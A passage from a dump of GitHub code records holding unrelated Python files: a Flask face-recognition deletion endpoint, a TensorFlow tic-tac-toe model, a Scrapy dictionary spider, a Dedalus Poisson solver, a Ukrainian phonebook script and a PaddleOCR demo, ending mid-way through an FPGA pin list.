jsonify({'Error': \"Diese Person ist nicht in der Datenbank\" }), 400\n \n # Alle ids aller Gesichter von der Person\n try:\n # Create db cursor\n cursor = mydb.cursor()\n sql = \"SELECT id FROM gesichter WHERE person_id = %s\"\n cursor.execute(sql, (id, ))\n result = cursor.fetchall()\n except mysql.connector.Error as err:\n mydb.close()\n return jsonify({'Error': \"Die zu löschenden Gesichter konnten nicht aus der Datenbank abgefragt werden\" }), 500\n abort(400)\n\n for x in result:\n # Lösche die x[0] id von gesichter und von gesichter_hash\n try:\n sql = \"DELETE FROM `personen` WHERE id = %s AND nachname = %s\"\n cursor.execute(sql, (id,nachname ))\n sql = \"DELETE FROM `gesichter` WHERE id = %s\"\n cursor.execute(sql, (x[0], ))\n sql = \"DELETE FROM `gesichter_hash` WHERE id = %s\"\n cursor.execute(sql, (x[0], ))\n mydb.commit()\n except mysql.connector.Error as err:\n return jsonify({'Error': \"Löschvorgang nicht erfolgreich\" }), 500\n\n cursor.close()\n mydb.close()\n return jsonify({\"deleted\": True})\n\nif __name__ == '__main__':\n app.run(host='127.0.0.1', port=8080, debug=True)\n","repo_name":"lula-code/Python-face-recognition","sub_path":"server/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":10424,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"28238048053","text":"import tensorflow as tf\nfrom waffle import system\nimport pandas as pd\n\nnames = [str(x) for x in range(1, 10)]\nnames.append(\"label\")\ndata_path = system.abs_path(\"tic-tac-toe.data\")\ndataset = pd.read_table(data_path, sep=r\",\", names=names)\n\ntrain_x = dataset.iloc[:, 0:9]\ntrain_y = dataset[\"label\"]\n\nmapping_lookup = {\"x\": 0, \"o\": 1, \"b\": 2, \"positive\": 1, \"negative\": 0}\n\ntrain_x_list = train_x.values.tolist()\nfor i in range(len(train_x_list)):\n for j in range(len(train_x_list[i])):\n train_x_list[i][j] = mapping_lookup[train_x_list[i][j]]\n\ntrain_y_list = train_y.values.tolist()\nfor i in range(len(train_y)):\n train_y_list[i] = mapping_lookup[train_y_list[i]]\n\nonehot_depth = 3\n\ntrain_x_onehot = tf.one_hot(train_x_list, onehot_depth)\n\ntrain_x_onehot = tf.reshape(train_x_onehot, [len(train_x), 27])\ntrain_y_list = [[x] for x in train_y_list]\n\nn_hidden_unit_per_layer = 5\nn_feature = 9*onehot_depth\nlearning_rate = 1\nepoch = 5000\n\nX = tf.placeholder(tf.float32, [None, n_feature])\nW = tf.get_variable(\"W\", [n_feature, n_hidden_unit_per_layer], initializer=tf.random_uniform_initializer())\nb = tf.get_variable(\"b\", [n_hidden_unit_per_layer])\ny_ = tf.placeholder(tf.float32, [None, 1])\n\noutput = tf.nn.sigmoid(tf.matmul(X, W) + b)\nloss = tf.reduce_mean(tf.square(y_ - output))\noptimizer = tf.train.GradientDescentOptimizer(learning_rate=learning_rate).minimize(loss)\n\nwith tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n train_x_onehot_eval = sess.run(train_x_onehot)\n\n for i in range(epoch):\n _, result = sess.run([optimizer, loss], feed_dict={X: train_x_onehot_eval, y_: train_y_list})\n print(\"Loss: %f\" % result)\n\n correct_prediction = tf.equal(tf.round(output), y_)\n accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n acc = sess.run(accuracy, feed_dict={X: train_x_onehot_eval, y_: train_y_list})\n print(\"Accuracy: %f\" % acc)\n\n","repo_name":"furaoing/tensorflow-tutorial","sub_path":"tictactoe/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"22861795150","text":"import scrapy\nfrom lxml import etree\n\nclass MWBDictSpider(scrapy.Spider):\n name = \"mwb_dict_spider\"\n handle_httpstatus_list = [302]\n allowed_domains = ['mijnwoordenboek.nl']\n\n def __init__(self, word=None, *args, **kwargs):\n super(MWBDictSpider, self).__init__(word, *args, **kwargs)\n self.word=word\n self.start_urls = [f'https://www.mijnwoordenboek.nl/vertaal/NL/EN/{self.word}']\n \n def start_requests(self):\n for url in self.start_urls:\n yield scrapy.Request(url, callback=self.parse, headers={\"Accept-Language\": \"en-US,en;q=0.5\"})\n \n def parse(self, response):\n \n if response.status == 302:\n location = response.headers['Location'].decode('utf-8')\n yield scrapy.Request(location, callback=self.parse)\n \n else: \n if response.css('h2.inline'):\n word_item={\n 'word': None,\n 'part_of_speech': None,\n 'en_definition': None,\n 'nl_definition': None,\n 'examples': [],\n 'idioms': []\n }\n word_item['word'] = response.css('h2.inline::text').get()\n word_item['part_of_speech'] = response.xpath('//h2[@class=\"inline\"]/following-sibling::text()').get()\n for ind, definition in enumerate(response.xpath('//table[@cellspacing=\"0\"]')):\n if ind > 0: \n word_item['examples'] = []\n word_item['idioms'] = []\n word_item['word'] = response.css('h2.inline::text').get()\n word_item['part_of_speech'] = response.xpath('//h2[@class=\"inline\"]/following-sibling::text()').get()\n word_item['en_definition'] = definition.root.getprevious().xpath(\"string()\")\n word_item['nl_definition'] = definition.root.getprevious().getprevious().xpath(\"string()\")\n for example in definition.xpath('.//td[@colspan=\"2\"]'):\n if example.xpath('./*[1]').xpath(\"name()\").get() == 'i':\n for item in example.xpath('.//font[@style=\"color:navy\"]'):\n word_item['examples'].append({'en': item.xpath('string()').get(), 'nl': item.root.getprevious().xpath('string()')})\n if example.xpath('./*[1]').xpath(\"name()\").get() == 'a':\n for item in example.xpath('.//div[contains(@id, \"xi\")]'):\n idiom = {\n 'expression': item.root.getprevious().xpath('string()'),\n 'en_definition': item.xpath('.//font[@style=\"color:navy\"]').xpath('string()').get(),\n 'nl_definition': item.xpath('.//font[@style=\"color:darkgreen\"]').xpath('string()').get(),\n }\n if len(item.xpath('.//font[@style=\"color:#444\"]')) > 0:\n idiom['en_example']=item.xpath('.//font[@style=\"color:navy\"]')[1].xpath('string()').get()\n idiom['nl_example']=item.xpath('.//font[@style=\"color:navy\"]')[1].xpath('string()').get()\n word_item['idioms'].append(idiom)\n yield word_item","repo_name":"NadezhdaBulatova/cambridge_dict_scrapy","sub_path":"dict_scrapers/dict_scrapers/spiders/mwb_dict_spider.py","file_name":"mwb_dict_spider.py","file_ext":"py","file_size_in_byte":3480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"11499173349","text":"\"\"\"PoissonRectangle class definition and tests.\"\"\"\n\nimport numpy as np\nimport scipy.sparse as sp\nimport scipy.linalg as linalg\nimport dedalus.public as d3\nfrom dedalus.tools.cache import CachedMethod\nfrom dedalus.libraries.matsolvers import matsolvers\n\n\n# Helper functions\ntop_identity = lambda m, n: sp.eye(m, n)\nbottom_identity = lambda m, n: sp.eye(m, n, n-m)\n\n\nclass PoissonRectangle:\n \"\"\"\n Solver for Poisson's equation on a rectangle.\n\n Parameters\n ----------\n Nx, Ny : int\n Solver resolutions (currently must be equal).\n Lx, Ly : float\n Rectangle side lengths.\n dtype : dtype\n Solution dtype.\n **kw\n Other keywords passed to Dedalus solver.\n \"\"\"\n\n def __init__(self, Nx, Ny, Lx, Ly, dtype, **kw):\n self.Nx = Nx\n self.Ny = Ny\n self.Lx = Lx\n self.Ly = Ly\n self.dtype = dtype\n self.N = Nx * Ny\n self.R = 2*Nx + 2*Ny + 8\n self.M = self.N + self.R\n # Bases\n self.coords = coords = d3.CartesianCoordinates('x', 'y')\n self.dist = dist = d3.Distributor(coords, dtype=dtype)\n self.xb = xb = d3.ChebyshevT(coords['x'], Nx, bounds=(0, Lx))\n self.yb = yb = d3.ChebyshevT(coords['y'], Ny, bounds=(0, Ly))\n self.x = x = xb.local_grid(1)\n self.y = y = yb.local_grid(1)\n xb2 = xb.derivative_basis(2)\n yb2 = yb.derivative_basis(2)\n # Forcing\n self.f = f = dist.Field(name='f', bases=(xb, yb))\n # Boundary conditions\n self.uL = uL = dist.Field(name='uL', bases=yb)\n self.uR = uR = dist.Field(name='uR', bases=yb)\n self.uB = uB = dist.Field(name='uB', bases=xb)\n self.uT = uT = dist.Field(name='uT', bases=xb)\n # Fields\n self.u = u = dist.Field(name='u', bases=(xb, yb))\n self.tx1 = tx1 = dist.Field(name='tx1', bases=xb2)\n self.tx2 = tx2 = dist.Field(name='tx2', bases=xb2)\n self.ty1 = ty1 = dist.Field(name='ty1', bases=yb2)\n self.ty2 = ty2 = dist.Field(name='ty2', bases=yb2)\n self.t1 = t1 = dist.Field(name='t1')\n self.t2 = t2 = dist.Field(name='t2')\n self.t3 = t3 = dist.Field(name='t3')\n self.t4 = t4 = dist.Field(name='t4')\n self.t5 = t5 = dist.Field(name='t5')\n self.t6 = t6 = dist.Field(name='t6')\n self.t7 = t7 = dist.Field(name='t7')\n self.t8 = t8 = dist.Field(name='t8')\n # Substitutions\n Lap = d3.Laplacian\n Lift = d3.Lift\n tau_u = (Lift(tx1, yb2, -1) + Lift(tx2, yb2, -2) +\n Lift(ty1, xb2, -1) + Lift(ty2, xb2, -2))\n tau_T = Lift(t1, xb, -1) + Lift(t2, xb, -2)\n tau_B = Lift(t3, xb, -1) + Lift(t4, xb, -2)\n tau_L = Lift(t5, yb, -1) + Lift(t6, yb, -2)\n tau_R = Lift(t7, yb, -1) + Lift(t8, yb, -2)\n # Problem\n self.problem = problem = d3.LBVP([u, tx1, tx2, ty1, ty2, t1, t2, t3, t4, t5, t6, t7, t8])\n problem.add_equation((Lap(u) + tau_u, f))\n problem.add_equation((u(x=0) + tau_L, uL))\n problem.add_equation((u(x=Lx) + tau_R, uR))\n problem.add_equation((u(y=0) + tau_B, uB))\n problem.add_equation((u(y=Ly) + tau_T, uT))\n problem.add_equation((tau_T(x=0) + tau_L(y=Ly), 0))\n problem.add_equation((tau_T(x=Lx) + tau_R(y=Ly), 0))\n problem.add_equation((tau_B(x=0) + tau_L(y=0), 0))\n problem.add_equation((tau_B(x=Lx) + tau_R(y=0), 0))\n problem.add_equation((tx1(x=0), 0))\n problem.add_equation((tx2(x=0), 0))\n problem.add_equation((tx1(x=Lx), 0))\n problem.add_equation((tx2(x=Lx), 0))\n # Solver\n self.solver = solver = problem.build_solver(store_expanded_matrices=False, **kw)\n # Neumann operators\n ux = d3.Differentiate(u, coords['x'])\n uy = d3.Differentiate(u, coords['y'])\n self.duL = - ux(x=0)\n self.duR = ux(x=Lx)\n self.duB = - uy(y=0)\n self.duT = uy(y=Ly)\n # Neumann matrix\n duL_mat = self.duL.expression_matrices(solver.subproblems[0], vars=[u])[u]\n duR_mat = self.duR.expression_matrices(solver.subproblems[0], vars=[u])[u]\n duB_mat = self.duB.expression_matrices(solver.subproblems[0], vars=[u])[u]\n duT_mat = self.duT.expression_matrices(solver.subproblems[0], vars=[u])[u]\n self.interior_to_neumann_matrix = sp.vstack([duT_mat, duR_mat, duB_mat, duL_mat], format='csr')\n\n def set_interior_forcing(self, f):\n \"\"\"\n Set interior forcing data on the grid.\n\n Parameters\n ----------\n f : number or ndarray\n Interior forcing data on the grid. Must be broadcastable to shape (Nx, Ny).\n \"\"\"\n self.f['g'] = f\n\n def dirichlet_to_interior_naive(self, uL, uR, uT, uB, layout):\n \"\"\"\n Produce interior solution given Dirichlet data.\n\n Parameters\n ----------\n uL, uR : numbers or ndarrays\n Left and right Dirichlet data. Must be broadcastable to shape (1, Ny).\n uT, uB : numbers or ndarrays\n Top and bottom Dirichlet data. Must be broadcastable to shape (Nx, 1).\n layout : ('g', 'c')\n Layout for input and output data: grid ('g') or coefficient ('c') values.\n\n Returns\n -------\n u : ndarray\n Interior solution data. Shape (Nx, Ny).\n \"\"\"\n self.uL[layout] = uL\n self.uR[layout] = uR\n self.uT[layout] = uT\n self.uB[layout] = uB\n self.solver.solve()\n return self.u[layout]\n\n def interior_to_neumann_naive(self, u, layout):\n \"\"\"\n Product Neumann data given interior solution.\n\n Parameters\n ----------\n u : number or ndarray\n Interior solution data. Must be broadcastable to shape (Nx, Ny).\n layout : ('g', 'c')\n Layout for input and output data: grid ('g') or coefficient ('c') values.\n\n Returns\n -------\n duL, duR : ndarrays\n Left and right Neumann data. Shape (1, Ny).\n duT, duB : ndarrays\n Top and bottom Neumann data. Shape (Nx, 1).\n \"\"\"\n self.u[layout] = u\n duL = self.duL.evaluate()\n duR = self.duR.evaluate()\n duT = self.duT.evaluate()\n duB = self.duB.evaluate()\n return duL[layout], duR[layout], duT[layout], duB[layout]\n\n def dirichlet_to_neumann_naive(self, uL, uR, uT, uB, layout):\n \"\"\"\n Produce Neumann data given Dirichlet data.\n\n Parameters\n ----------\n uL, uR : numbers or ndarrays\n Left and right Dirichlet data. Must be broadcastable to shape (1, Ny).\n uT, uB : numbers or ndarrays\n Top and bottom Dirichlet data. Must be broadcastable to shape (Nx, 1).\n layout : ('g', 'c')\n Layout for input and output data: grid ('g') or coefficient ('c') values.\n\n Returns\n -------\n duL, duR : ndarrays\n Left and right Neumann data. Shape (1, Ny).\n duT, duB : ndarrays\n Top and bottom Neumann data. Shape (Nx, 1).\n \"\"\"\n u = self.dirichlet_to_interior_naive(uL, uR, uT, uB, layout)\n return self.interior_to_neumann_naive(u, layout)\n\n def build_operators_naive(self, layout, verbose=False):\n \"\"\"\n Build solution and DtN operators.\n\n Parameters\n ----------\n layout : ('g', 'c')\n Layout for input and output data: grid ('g') or coefficient ('c') values.\n\n Returns\n -------\n sol : ndarray\n Dirichlet-to-solution matrix. Shape (Nx*Ny, 2*Nx+2*Ny).\n dtn : ndarray\n Dirichlet-to-Neumann matrix. Shape (2*Nx+2*Ny, 2*Nx+2*Ny).\n \"\"\"\n Nx, Ny = self.Nx, self.Ny\n uL = np.zeros((1, Ny), dtype=self.dtype)\n uR = np.zeros((1, Ny), dtype=self.dtype)\n uT = np.zeros((Nx, 1), dtype=self.dtype)\n uB = np.zeros((Nx, 1), dtype=self.dtype)\n sol_cols = []\n dtn_cols = []\n if verbose:\n print(' traversing top')\n for nx in range(self.Nx):\n uT[nx, 0] = 1\n u = self.dirichlet_to_interior_naive(uL, uR, uT, uB, layout)\n sol_cols.append(u.ravel().copy())\n duL, duR, duT, duB = self.interior_to_neumann_naive(u, layout)\n dtn_cols.append(np.concatenate((duT.ravel(), duR.ravel(), duB.ravel(), duL.ravel())))\n uT[:] = 0\n if verbose:\n print(' traversing right')\n for ny in range(Ny):\n uR[0, ny] = 1\n u = self.dirichlet_to_interior_naive(uL, uR, uT, uB, layout)\n sol_cols.append(u.ravel().copy())\n duL, duR, duT, duB = self.interior_to_neumann_naive(u, layout)\n dtn_cols.append(np.concatenate((duT.ravel(), duR.ravel(), duB.ravel(), duL.ravel())))\n uR[:] = 0\n if verbose:\n print(' traversing bottom')\n for nx in range(Nx):\n uB[nx, 0] = 1\n u = self.dirichlet_to_interior_naive(uL, uR, uT, uB, layout)\n sol_cols.append(u.ravel().copy())\n duL, duR, duT, duB = self.interior_to_neumann_naive(u, layout)\n dtn_cols.append(np.concatenate((duT.ravel(), duR.ravel(), duB.ravel(), duL.ravel())))\n uB[:] = 0\n if verbose:\n print(' traversing left')\n for ny in range(Ny):\n uL[0, ny] = 1\n u = self.dirichlet_to_interior_naive(uL, uR, uT, uB, layout)\n sol_cols.append(u.ravel().copy())\n duL, duR, duT, duB = self.interior_to_neumann_naive(u, layout)\n dtn_cols.append(np.concatenate((duT.ravel(), duR.ravel(), duB.ravel(), duL.ravel())))\n uL[:] = 0\n sol = np.array(sol_cols).T\n dtn = np.array(dtn_cols).T\n return sol, dtn\n\n @CachedMethod\n def _setup_schur(self, matsolver=None):\n Nx, Ny = self.Nx, self.Ny\n N, M = self.N, self.M\n # Build partition matrices\n select_eqn_rows = top_identity(N, M)\n select_var_cols = top_identity(N, M)\n drop_high_modes = sp.kron(top_identity(Nx-2, Nx), top_identity(Ny-2, Ny))\n drop_low_modes = sp.kron(bottom_identity(Nx-2, Nx), bottom_identity(Ny-2, Ny))\n SL0 = drop_high_modes @ select_eqn_rows\n SL1 = sp.identity(M) - SL0.T @ SL0\n SL1 = SL1[SL1.getnnz(1) > 0]\n SR0 = drop_low_modes @ select_var_cols\n SR1 = sp.identity(M) - SR0.T @ SR0\n SR1 = SR1[SR1.getnnz(1) > 0]\n SL0 = SL0.tocsr()\n SL1 = SL1.tocsr()\n SR0 = SR0.tocsc()\n SR1 = SR1.tocsc()\n # Compute partitions\n L = self.solver.subproblems[0].L_min.tocsr()\n PR = self.solver.subproblems[0].pre_right.tocsr()\n L = PR @ L\n L.data[np.abs(L.data) < 1e-6] = 0\n L.eliminate_zeros()\n L00 = SL0 @ L @ SR0.T\n L01 = SL0 @ L @ SR1.T\n L10 = SL1 @ L @ SR0.T\n L11 = SL1 @ L @ SR1.T\n # Schur setup\n if matsolver is None:\n matsolver = self.solver.matsolver\n if isinstance(matsolver, str):\n matsolver = matsolvers[matsolver.lower()]\n L00_LU = matsolver(L00)\n L00_inv = L00_LU.solve\n L00_inv_L01 = L00_inv(L01.A)\n L11_comp = L11.A - L10 @ L00_inv_L01\n L11_comp_LU = linalg.lu_factor(L11_comp)\n L11_comp_inv = lambda A, LU=L11_comp_LU: linalg.lu_solve(LU, A, check_finite=False)\n return SL0, SL1, SR0, SR1, L00, L01, L10, L11, L00_inv, L00_inv_L01, L11_comp_inv\n\n def dirichlet_to_interior_vectorized(self, RHS, homogeneous=False, use_schur_inv=True, **kw):\n \"\"\"\n Produce interior solution given interior forcing and Dirichlet data.\n\n Parameters\n ----------\n RHS : ndarray\n Vectors of interior forcing and Dirichlet coefficients stacked as (F, uT, uR, uB, uL). Shape (Nx*Ny+2*Nx+2*Ny, P).\n homogeneous : bool, optional\n Whether to assume F=0 for performance (default: False).\n use_schur_inv : True, optional\n Whether to use inverse of or solve Schur factor when reconstructing solution (default: True).\n **kw\n Other keywords passed to self._setup_schur.\n\n Returns\n -------\n U : ndarray\n Interior solution vectors. Shape (Nx*Ny, P).\n \"\"\"\n SL0, SL1, SR0, SR1, L00, L01, L10, L11, L00_inv, L00_inv_L01, L11_comp_inv = self._setup_schur(**kw)\n # Form Schur complement RHS\n if homogeneous:\n F_comp = SL1 @ RHS\n else:\n F0 = SL0 @ RHS\n F1 = SL1 @ RHS\n L00_inv_F0 = L00_inv(F0)\n F_comp = F1 - L10 @ L00_inv_F0\n # Solve Schur complement\n if sp.isspmatrix(F_comp):\n F_comp = F_comp.A\n y = L11_comp_inv(F_comp)\n # Solve back for x\n if use_schur_inv:\n z = L00_inv_L01 @ y\n else:\n z = L00_inv(L01 @ y)\n if homogeneous:\n x = - z\n else:\n x = L00_inv_F0 - z\n # Return interior solution\n X = SR0.T @ x + SR1.T @ y\n return X[:self.N]\n\n def interior_to_neumann_vectorized(self, U, **kw):\n \"\"\"\n Produce Neumann data given interior solution.\n\n Parameters\n ----------\n U : ndarray\n Interior solution vectors. Shape (Nx*Ny, P).\n\n Returns\n -------\n dU : ndarray\n Vectors of Neumann coefficients stacked as (duT, duR, duB, duL). Shape (2*Nx+2*Ny, P).\n \"\"\"\n return self.interior_to_neumann_matrix @ U\n\n def build_operators_vectorized(self, homogeneous=False, **kw):\n \"\"\"\n Build solution and DtN operators.\n\n Parameters\n ----------\n homogeneous : bool, optional\n Whether to assume F=0 for performance (default: False).\n **kw\n Other keywords passed to self.dirichlet_to_interior_vectorized.\n\n Returns\n -------\n sol : ndarray\n Dirichlet-to-solution matrix. Shape (Nx*Ny, 2*Nx+2*Ny).\n dtn : ndarray\n Dirichlet-to-Neumann matrix. Shape (2*Nx+2*Ny, 2*Nx+2*Ny).\n \"\"\"\n N, M, R = self.N, self.M, self.R\n if homogeneous:\n RHS = bottom_identity(M, R)\n else:\n raise NotImplementedError()\n # Solve interior\n sol = self.dirichlet_to_interior_vectorized(RHS, homogeneous=homogeneous, **kw)\n # Solve Neumann\n dtn = self.interior_to_neumann_vectorized(sol)\n return sol, dtn\n\n def pack_boundary_data(self, L, R, T, B):\n \"\"\"\n Pack boundary data arrays into single vector.\n\n Parameters\n ----------\n L, R : numbers or ndarrays\n Left and right boundary data. Must be broadcastable to shape (1, Ny).\n T, B : numbers or ndarrays\n Top and bottom boundary data. Must be broadcastable to shape (Nx, 1).\n\n Returns\n -------\n out : ndarray\n Combined vector of boundary data ordered as (T, R, B, L).\n \"\"\"\n out = np.zeros(2*self.Nx + 2*self.Ny)\n out[0*Nx+0*Ny:1*Nx+0*Ny] = T.ravel()\n out[1*Nx+0*Ny:1*Nx+1*Ny] = R.ravel()\n out[1*Nx+1*Ny:2*Nx+1*Ny] = B.ravel()\n out[2*Nx+1*Ny:2*Nx+2*Ny] = L.ravel()\n return out\n\n\nif __name__ == \"__main__\":\n\n print()\n print(\"Test problem: u = sin(2πx) sin(2πy) on [0,1/2]*[0,1]\")\n # Parameters\n Nx = 24\n Ny = 32\n Lx = 0.5\n Ly = 1\n dtype = np.float64\n # Solver\n solver = PoissonRectangle(Nx, Ny, Lx, Ly, dtype)\n L = solver.solver.subproblems[0].L_min\n print(f\"\\n Solver condition number: {np.linalg.cond(L.A):.3e}\")\n # Forcing\n Kx = 2 * np.pi\n Ky = 2 * np.pi\n x = solver.x\n y = solver.y\n f = - (Kx**2 + Ky**2) * np.sin(Kx*x) * np.sin(Ky*y)\n solver.set_interior_forcing(f)\n # Boundary data\n uL = uR = uT = uB = 0\n # Test interior solution\n u_true = np.sin(Kx*x) * np.sin(Ky*y)\n u = solver.dirichlet_to_interior_naive(uL, uR, uT, uB, layout='g')\n print(f\" Interior max error (naive): {np.max(np.abs(u - u_true)):.3e}\")\n # Test Neumann solution\n duL_true = - Kx * np.cos(Kx*0) * np.sin(Ky*y)\n duR_true = Kx * np.cos(Kx*Lx) * np.sin(Ky*y)\n duT_true = Ky * np.sin(Kx*x) * np.cos(Ky*Ly)\n duB_true = - Ky * np.sin(Kx*x) * np.cos(Ky*0)\n du_true = [duL_true, duR_true, duT_true, duB_true]\n du_true = solver.pack_boundary_data(*du_true)\n du = solver.dirichlet_to_neumann_naive(uL, uR, uT, uB, layout='g')\n du = solver.pack_boundary_data(*du)\n print(f\" Neumann max error: {np.max(np.abs(du - du_true)):.3e}\")\n print()\n","repo_name":"danfortunato/dedalus-sem","sub_path":"scripts/poisson_rectangle.py","file_name":"poisson_rectangle.py","file_ext":"py","file_size_in_byte":16591,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"31425240754","text":"import json\nimport os\n\nphonebook_name = input('Введи назву телефонної книги: ')\n\n\ndef menu():\n print(\"\"\" Вітаю у моїй телефонній книзі!\n\n Обери, що ти хочеш зробити:\n 1. Додати новий контакт\n 2. Знайти існуючий контакт за ім`ям\n 3. Знайти існуючий контакт за прізвищем\n 4. Знайти існуючий контакт за ім`ям та прізвищем\n 5. Знайти існуючий контакт за номером телефону\n 6. Знайти існуючий контакт за містом\n 7. Видалити контакт за номером телефону\n 8. Обновити контакт за номером телефону\n 9. Вийти з телефонної книги\"\"\")\n selection = input('Обери необхідне та введи відповідний номер: ')\n if selection == '1':\n add_new_entries()\n elif selection == '2':\n search_first_name()\n elif selection == '3':\n search_last_name()\n elif selection == '4':\n search_full_name()\n elif selection == '5':\n search_phone_number()\n elif selection == '6':\n search_city()\n elif selection == '7':\n del_record_by_phone()\n elif selection == '8':\n upd_record_by_phone()\n elif selection == '9':\n exit_program()\n\n\ndef add_new_entries():\n phone_number = input('Введи номер телефону: ')\n first_name = input('Введи ім`я: ')\n last_name = input('Введи прізвище: ')\n city = input('Введи назву міста: ')\n info = {\n 'phone_number': phone_number,\n 'first_name': first_name,\n 'last_name': last_name,\n 'full_name': first_name + ' ' + last_name,\n 'city': city\n }\n data_dict[phone_number] = info\n with open(phonebook_name + '.json', 'w') as file:\n json.dump(data_dict, file)\n print('Контакт збережено.')\n is_another_contact = input('Додати ще один контакт? Введіть: Так або Ні. ')\n if is_another_contact == 'Так':\n add_new_entries()\n else:\n menu()\n\n\ndef search_first_name():\n first_name = input('Введіть ім`я для пошуку: ')\n for number, info in data_dict.items():\n for name in info.values():\n if name.lower() == first_name.lower():\n print(data_dict[number])\n is_repeat = input('Бажаєте повторити? Введіть: Так або Ні. ')\n if is_repeat == 'Так':\n search_first_name()\n else:\n menu()\n\n\ndef search_last_name():\n last_name = input('Введіть прізвище для пошуку: ')\n for number, info in data_dict.items():\n for lastname in info.values():\n if lastname.lower() == last_name.lower():\n print(data_dict[number])\n is_repeat = input('Бажаєте повторити? Введіть: Так або Ні. ')\n if is_repeat == 'Так':\n search_last_name()\n else:\n menu()\n\n\ndef search_full_name():\n full_name = input('Введіть повне ім`я для пошуку: ')\n for number, info in data_dict.items():\n for fullname in info.values():\n if fullname.lower() == full_name.lower():\n print(data_dict[number])\n is_repeat = input('Бажаєте повторити? Введіть: Так або Ні. ')\n if is_repeat == 'Так':\n search_full_name()\n else:\n menu()\n\n\ndef search_phone_number():\n phone_number = input('Введіть номер телефону для пошуку: ')\n for number in data_dict.keys():\n if number == phone_number:\n print(data_dict[number])\n is_repeat = input('Бажаєте повторити? Введіть: Так або Ні. ')\n if is_repeat == 'Так':\n search_phone_number()\n else:\n menu()\n\n\ndef search_city():\n city = input('Введіть повне ім`я для пошуку: ')\n for number, info in data_dict.items():\n for city_name in info.values():\n if city_name.lower() == city.lower():\n print(data_dict[number])\n is_repeat = input('Бажаєте повторити? Введіть: Так або Ні. ')\n if is_repeat == 'Так':\n search_city()\n else:\n menu()\n\n\ndef del_record_by_phone():\n phone_number = input('Введіть номер телефону для видалення: ')\n for number in list(data_dict):\n if number == phone_number:\n data_dict.pop(number)\n print(f'Дані про контакт {number} було видалено')\n with open(phonebook_name + '.json', 'w') as file:\n json.dump(data_dict, file)\n is_repeat = input('Бажаєте повторити? Введіть: Так або Ні. ')\n if is_repeat == 'Так':\n del_record_by_phone()\n else:\n menu()\n\n\ndef upd_record_by_phone():\n phone_number = input('Введіть номер телефону для зміни даних: ')\n for number, info in data_dict.items():\n if number == phone_number:\n first_name = input('Введи нове ім`я: ')\n last_name = input('Введи нове прізвище: ')\n city = input('Введи назву міста: ')\n info = {\n 'first_name': first_name,\n 'last_name': last_name,\n 'full_name': first_name + ' ' + last_name,\n 'city': city\n }\n data_dict[phone_number] = info\n print('Контакт збережено.')\n with open(phonebook_name + '.json', 'w') as file:\n json.dump(data_dict, file)\n is_repeat = input('Бажаєте повторити? Введіть: Так або Ні. ')\n if is_repeat == 'Так':\n upd_record_by_phone()\n else:\n menu()\n\n\ndef exit_program():\n data.close()\n print('Виконання програми завершено')\n\n\ntry:\n if not os.path.exists(f'{phonebook_name}.json'):\n print('Телефонної книги з такою назвою не знайдено')\n raise FileNotFoundError\n else:\n with open(phonebook_name + '.json') as data:\n data_dict = json.load(data)\n menu()\nexcept FileNotFoundError:\n is_new_phonebook = input('Бажаєте створити? Введіть: Так або Ні. ')\n if is_new_phonebook == 'Так':\n with open(phonebook_name + '.json', 'w') as data:\n phonebook_data = dict()\n json.dump(phonebook_data, data)\n print(f'{phonebook_name}.json був створений')\n with open(phonebook_name + '.json') as data:\n data_dict = json.load(data)\n menu()\n else:\n print('Виконання програми завершено')\n","repo_name":"Nichyk/Study_practice","sub_path":"Lesson 11/task_2/create_phonebook_file.py","file_name":"create_phonebook_file.py","file_ext":"py","file_size_in_byte":7084,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"11728640951","text":"from paddleocr import PaddleOCR, draw_ocr\n\nocr = PaddleOCR(use_angle_cls=True, lang=\"ch\",\n show_log=False) # need to run only once to download and load model into memory, 不打印日志show_log=False\n\n\ndef ocr_text(img='1.jpg'):\n \"\"\"\n :param img:support ndarray, img_path and list or ndarray\n :return:result_text_list\n \"\"\"\n result_text_list = []\n result = ocr.ocr(img, cls=False) # cls=False 不做文本方向检测分类\n for idx in range(len(result)):\n res = result[idx]\n for i in range(len(res)):\n result_text_list.append(res[i][1][0])\n print(f\"【第{i + 1}行】:\", res[i][1][0])\n\n return result_text_list\n\n\n\"\"\"\n# 显示结果\n# 如果本地没有simfang.ttf,可以在doc/fonts目录下下载\nfrom PIL import Image\nresult = result[0]\nimage = Image.open(img_path).convert('RGB')\nboxes = [line[0] for line in result]\ntxts = [line[1][0] for line in result]\nscores = [line[1][1] for line in result]\nim_show = draw_ocr(image, boxes, txts, scores, font_path='doc/fonts/simfang.ttf')\nim_show = Image.fromarray(im_show)\nim_show.save('ocr-detect-result.jpg')\n\n\"\"\"\n\nif __name__ == '__main__':\n ocr_text()\n","repo_name":"eliocean/python-tools","sub_path":"paddleocr-demo/ocr_demo.py","file_name":"ocr_demo.py","file_ext":"py","file_size_in_byte":1184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"28108839204","text":"from migen.build.generic_platform import *\nfrom migen.build.xilinx import XilinxPlatform\n\n\n_io = [\n (\"user_btn\", 0, Pins(\"V4\"), IOStandard(\"LVCMOS33\"),\n Misc(\"PULLDOWN\"), Misc(\"TIG\")),\n\n (\"user_led\", 0, Pins(\"P4\"), Misc(\"SLEW=QUIETIO\"), IOStandard(\"LVCMOS18\")),\n (\"user_led\", 1, Pins(\"L6\"), Misc(\"SLEW=QUIETIO\"), IOStandard(\"LVCMOS18\")),\n (\"user_led\", 2, Pins(\"F5\"), Misc(\"SLEW=QUIETIO\"), IOStandard(\"LVCMOS18\")),\n (\"user_led\", 3, Pins(\"C2\"), Misc(\"SLEW=QUIETIO\"), IOStandard(\"LVCMOS18\")),\n\n (\"user_dip\", 0, Pins(\"B3\"), Misc(\"PULLDOWN\"), IOStandard(\"LVCMOS33\")),\n (\"user_dip\", 1, Pins(\"A3\"), Misc(\"PULLDOWN\"), 